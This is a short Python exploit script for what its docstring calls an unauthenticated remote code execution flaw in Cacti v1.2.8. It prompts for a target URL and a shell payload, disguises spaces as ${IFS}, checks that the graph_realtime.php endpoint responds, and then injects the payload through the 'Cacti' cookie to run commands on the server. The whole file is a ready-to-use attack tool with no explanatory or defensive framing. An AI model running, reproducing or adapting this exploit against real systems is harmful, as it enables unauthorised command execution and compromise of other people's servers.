#!/usr/bin/python3

import requests
import click
from rich import inspect
from rich.console import Console
from url_normalize import url_normalize
from urllib.parse import quote

console = Console()

def shell_encode(string):
    return string.replace(" ", "${IFS}")

@click.command()
@click.option("-u", "--url", prompt="Target URL", help="The URL of the Cacti installation")
@click.option("-p", "--payload", prompt="Payload", help="The payload that you want to execute on the target")
def exploit(url, payload):
    """Cacti v1.2.8 Unauthenticated Remote Code Execution"""

    # Normalize URL input, URL encode the payload
    url = url + "/graph_realtime.php?action=init"
    url = url_normalize(url, default_scheme="http")
    payload = shell_encode(payload)
    payload = quote(payload)
    cookies = {"Cacti": payload}

    # Check if target is vulnerable
    try:
        with console.status("Checking to see if target is vulnerable"):
            request = requests.get(url)
    except:
        console.print(f'Could not connect to the host, please check the URL again: {url}', style="red")
        exit(1)

    inspect(request)
    if request.status_code == 200:
        with console.status("Realtime graph found, sending payload."):
            requests.get(url, cookies=cookies)
    else:
        click.echo("Realtime graph not found. The target may not be vulnerable.")


if __name__ == "__main__":
    exploit()
